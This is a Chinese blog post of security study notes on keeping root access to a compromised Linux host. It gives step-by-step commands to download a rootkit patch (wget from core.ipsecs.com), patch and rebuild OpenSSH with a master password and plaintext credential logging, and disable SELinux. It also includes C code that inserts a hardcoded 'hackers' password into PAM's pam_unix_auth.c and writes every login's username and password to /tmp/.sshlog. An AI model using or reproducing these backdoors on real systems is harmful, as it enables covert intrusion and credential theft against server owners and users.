144-Linux权限维持&OpenSSH&PAM后门&SSH软链接&公私钥登录

dreamer292

于 2024-08-30 10:19:38 发布

阅读量373

点赞数 18

分类专栏： # 小迪安全学习笔记文章标签： web安全网络安全系统安全安全 linux

本文链接：https://blog.csdn.net/qq_63855540/article/details/141710815

版权

小迪安全学习笔记专栏收录该内容

23 篇文章 0 订阅

订阅专栏

参考：https://blog.csdn.net/weixin_53009585/article/details/130173061

参考：https://flowus.cn/along/share/0741e138-979a-45c4-a824-203b3037faf7

参考：https://blog.csdn.net/weixin_44268918/article/details/132425901

权限维持-Linux-替换版本-OpenSSH后门

替换本身操作系统的ssh协议支撑软件openssh，重新安装自定义的openssh,达到记录帐号密码，也可以采用万能密码连接的功能。

首先安装好环境（在受害机上进行）。这就不怎么现实，还yum去下安装软件。。。大部分Linux连yum都没有都是那种阉割过的网络设备

yum -y install openssl openssl-devel pam-devel zlib zlib-devel

yum -y install gcc gcc-c++ make

上传两个安装包

wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz

tar -xzvf 0x06-openssh-5.9p1.patch.tar.gz

wget https://mirror.aarnet.edu.au/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz

tar -xzvf openssh-5.9p1.tar.gz

cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1

cd openssh-5.9p1 && patch < sshbd5.9p1.diff

然后再openssh-5.9p1这个目录下面修改includes.h这个文件

其中

ILOG是别人用ssh登录该主机记录的日志目录

OLOG是该主机用ssh登录其他主机记录的日志目录

SECRETPW 就是万能密码

所以除了万能密码还可以查看通过ssh登录过的明文密码

上面修改完配置文件后需要重新编译还可以修改一下版本信息

vim version.h

编译

./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 && make && make install

service sshd restart 或者 systemctl restart sshd.service 重启ssh

这里我不知道为什么重启服务有点问题然后问了下ai发现是私钥的权限设置有问题

大概是报这些错误

然后只要把这些key全部修改为600的权限即可

然后再重启虽然任然报错说超时但是ssh可以登录了，然后使用写入的万能密码也是成功的登录

ssh的版本也修改成功了

而且此密码无论什么用户都可以登录上

不过不能用来su root的时候输入

不过我也遇到了登录了几次后突然显示连接失败的问题，感觉不是很稳定的样子。

另外还可以修改配置文件的时间等等隐藏痕迹

Linux OpenSSH后门的添加与防范

如果使用的不是万能密码登录的都会被记录在ilog或者 olog

权限维持-Linux-更改验证-SSH-PAM后门

参考： https://xz.aliyun.com/t/7902

看了一下文章有一键脚本使用

先走一遍

关闭selinux

setenforce 0

查询rpm版本

rpm -qa | grep pam

可以看到是1.1.8版本的

可能是为了防止被当做后门直接都删除了老版本的压缩包，视频中的1.1.8的版本的包被删除了。。。

不过在网上找了一下还是找到了

blfs-conglomeration-Linux-PAM安装包下载_开源镜像站-阿里云

下载

解压

tar -xjvf Linux-PAM-1.1.8.tar.bz2

下载编译环境

yum install gcc flex flex-devel -y

修改配置文件写入后门密码

vim Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c

在181行这里中间插入

if(strcmp("hackers",p)==0){return PAM_SUCCESS;}    //后门密码
    if(retval == PAM_SUCCESS){    
           FILE * fp;    
           fp = fopen("/tmp/.sshlog", "a");//SSH登录用户密码保存位置
           fprintf(fp, "%s : %s\n", name, p);    
           fclose(fp);}